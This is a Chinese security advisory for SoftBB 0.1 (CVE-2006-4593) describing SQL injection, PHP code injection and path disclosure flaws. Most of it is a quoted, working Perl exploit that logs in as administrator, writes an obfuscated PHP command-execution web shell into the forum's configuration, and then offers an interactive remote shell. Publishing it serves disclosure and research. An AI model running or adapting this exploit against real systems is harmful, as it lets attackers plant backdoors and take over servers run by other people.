发布日期：2006-09-04
更新日期：2006-09-05

受影响系统：

SoftBB SoftBB <= 0.1

描述：

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BUGTRAQ  ID: 19847
CVE(CAN) ID: CVE-2006-4593

SoftBB是一款基于WEB的论坛程序。

SoftBB v0.1中存在多个输入验证错误，如下：

1) 在SQL查询时没有正确的验证对/addmembre.php文件中groupe参数及/moveto.php文件中select参数的输入，允许攻击者执行SQL注入攻击。

2) 在PHP脚本中存储之前没有正确过滤对admin/save_opt.php中多个参数的输入，允许攻击者执行任意PHP代码。成功攻击可能要求管理员权限。

3) 对index.php中page参数的输入没有正确的处理空的或无效的参数，允许攻击者判断安装路径。

<*来源：DarkFig （gmdarkfig@gmail.com）
  
  链接：http://acid-root.new.fr/advisories/10060904.txt
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#!/usr/bin/perl
#
# Affected.scr..: SoftBB 0.1
# Poc.ID........: 11060904
# Type..........: PHP code execution, SQL Injection, Full Path Disclosure
# Risk.level....: High
# Vendor.Status.: Unpatched
# Src.download..: softbb.be
# Poc.link......: acid-root.new.fr/poc/11060904.txt
# Advisory.link.: acid-root.new.fr/advisories/10060904.txt
# Credits.......: DarkFig (vuln/exploit/shellcode)
#
use Getopt::Long;
use HTTP::Cookies;
use HTTP::Request;
use HTTP::Request::Common "POST";
use HTTP::Response;
use LWP::UserAgent;

print STDOUT "\n+", '-' x 69, "+\n";
print STDOUT "|            SoftBB 0.1 Remote PHP Code Execution Exploit             |\n";
print STDOUT '+', '-' x 69, "+\n";

my($host,$path,$admin,$passwd,$proxh,$proxu,$proxp);
my $opt = GetOptions(
   'host=s'   =>  \$host,
   'path=s'   =>  \$path,
   'admin=s'  =>  \$admin,
   'passwd=s' =>  \$passwd,
   'proxh=s'  =>  \$proxh,
   'proxu=s'  =>  \$proxu,
   'proxp=s'  =>  \$proxp);
  
if(!$host or !$admin or !$passwd) {
    print STDOUT "| Usage: ./xx.pl --host=[www] --path=[/] --admin=[root] --passwd=[XD] |\n";
    print STDOUT "| [Options] : --proxh=[host] --proxu=[username] --proxp=[password] ---|\n";
    print STDOUT '+', '-' x 69, "+\n";
    exit(0);
}

if($host  !~ /http/) {$host = 'http://'.$host;}
if($proxh !~ /http/ && $proxh != '') {$proxh = 'http://'.$proxh.'/';}
if(!$path) {$path = '/';}

my $cc = HTTP::Cookies->new();
my $ua = LWP::UserAgent->new();
   $ua->cookie_jar($cc);
   $ua->agent('0xzilla');
   $ua->timeout(30);
   $ua->proxy(['http'] => $proxh) if $proxh;

my $re = POST $host.$path.'login.php', [
         'pseudolog' => $admin,
         'mdp'       => $passwd,
         'souvenir'  => 'auto',
         'Submit'    => 'Connexion'
         ];
   $re->proxy_authorization_basic($proxu, $proxp) if $proxp;
   $ua->request($re);

my $re = $ua->get($host.$path.'admin/gest_opt.php');

if($re->content =~ /Administration/) {
   print STDOUT " [+]Login successful";} else {
   print STDOUT " [-]Error during login";
   print STDOUT '+', '-' x 69, "+\n";
   exit(0);}

if($re->content =~ /<input type="text" name="nomduforum"  value="(.*?)" class="bouton" \/>/) {
   $conf[0] = $1;} else {
   $conf[0] = 'Titre';}

if($re->content =~ /<input type="text" name="mailadmin" value="(.*?)" class="bouton" \/>/) {
   $conf[1] = $1; } else {
   $conf[1] = 'root@you.com';}

   # Bypass magic_quotes_gpc and register_globals limit
   # if(isset($_GET['cmd'])){system(stripslashes($_GET['cmd']));} <- eval()

my $shcode  = "\n".'$shcode  = chr(0x69).chr(0x66).chr(0x28).chr(0x69).chr(0x73).chr(0x73).chr(0x65);';
   $shcode .= "\n".'$shcode .= chr(0x74).chr(0x28).chr(0x24).chr(0x5F).chr(0x47).chr(0x45).chr(0x54);';
   $shcode .= "\n".'$shcode .= chr(0x5B).chr(0x27).chr(0x63).chr(0x6D).chr(0x64).chr(0x27).chr(0x5D);';
   $shcode .= "\n".'$shcode .= chr(0x29).chr(0x29).chr(0x7B).chr(0x73).chr(0x79).chr(0x73).chr(0x74);';
   $shcode .= "\n".'$shcode .= chr(0x65).chr(0x6D).chr(0x28).chr(0x73).chr(0x74).chr(0x72).chr(0x69);';
   $shcode .= "\n".'$shcode .= chr(0x70).chr(0x73).chr(0x6C).chr(0x61).chr(0x73).chr(0x68).chr(0x65);';
   $shcode .= "\n".'$shcode .= chr(0x73).chr(0x28).chr(0x24).chr(0x5F).chr(0x47).chr(0x45).chr(0x54);';
   $shcode .= "\n".'$shcode .= chr(0x5B).chr(0x27).chr(0x63).chr(0x6D).chr(0x64).chr(0x27).chr(0x5D);';
   $shcode .= "\n".'$shcode .= chr(0x29).chr(0x29).chr(0x3B).chr(0x7D).chr(0x0D).chr(0x0A);';
   $shcode .= "\n".'eval($shcode);//';

my $re = POST $host.$path.'admin/save_opt.php', [
         'nomduforum'       => $conf[0],        'url'              => $host.$path,
         'mailadmin'        => $conf[1],        'smtp'             => '',
         'nbsondage'        => 0,               'gzip'             => 'false',
         'autmodpseudo'     => 'false',         'afflistdelauto'   => 'true',
         'autorisationsign' => 'true',          'bbcodesign'       => 'true',
         'ipaff'            => 'true',          'affreprapide'     => 'false',
         'mailconf'         => 'false',         'cache_forum'      => "false; $shcode",
         'lockforum'        => 'false',         'message_de_lock'  => '',
         'lmax'             => 0,               'hmax'             => 0,
         'pmax'             => 0,               'tmpfreepost'      => 0,
         'membreparpage'    => 0,               'postparpage'      => 0,
         'postparpageaff'   => 0,               'Submit'           => 'Enregistrer+les+options',
         ];

my $da = $ua->request($re);
if($da->content =~ /Enregistrement/) {
   print STDOUT "\n [+]Shellcode should be written !";}
  
while () {
       print STDOUT "\n \$sh: ";
       chomp($cmd = <STDIN>);
       my $da = $ua->get($host.$path."info_options.php?cmd=$cmd");
       print STDOUT $da->content;
       if($cmd eq "exit") {
          print STDOUT '+', '-' x 69, "+\n";
          exit(0);}
}

建议：

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厂商补丁：

SoftBB
------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://www.softbb.be/

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